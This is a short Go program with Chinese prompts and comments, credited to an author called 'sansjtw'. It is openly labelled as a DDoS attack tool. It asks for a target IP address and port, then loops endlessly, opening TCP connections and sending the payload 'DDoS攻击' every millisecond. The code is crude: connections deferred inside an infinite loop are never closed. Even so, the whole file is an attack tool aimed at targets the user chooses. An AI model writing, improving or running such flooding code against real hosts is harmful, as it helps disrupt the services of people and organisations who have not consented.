package main

import (
    "fmt"
    "net"
    "time"
)

func main() {
    // 用户输入目标IP地址和端口号
    var targetIP string
    fmt.Print("请输入目标IP地址: ")
    fmt.Scan(&targetIP)

    var targetPort string
    fmt.Print("请输入目标端口号: ")
    fmt.Scan(&targetPort)

    // 构造目标地址
    targetAddr := targetIP + ":" + targetPort

    // 循环发送数据包
    for {
        // 连接目标地址
        conn, err := net.Dial("tcp", targetAddr)
        if err != nil {
            fmt.Println("连接目标地址失败:", err)
            return
        }
        defer conn.Close()

        // 发送数据包
        _, err = conn.Write([]byte("DDoS攻击"))
        if err != nil {
            fmt.Println("发送数据包失败:", err)
            return
        }

        // 反馈结果
        fmt.Printf("成功发送数据包至: %s, 端口为: %s\n", targetIP, targetPort)

        // 等待一段时间后再发送
        time.Sleep(1 * time.Millisecond)
    }
}

// 创作: sansjtw 金条k sansjtw.xyz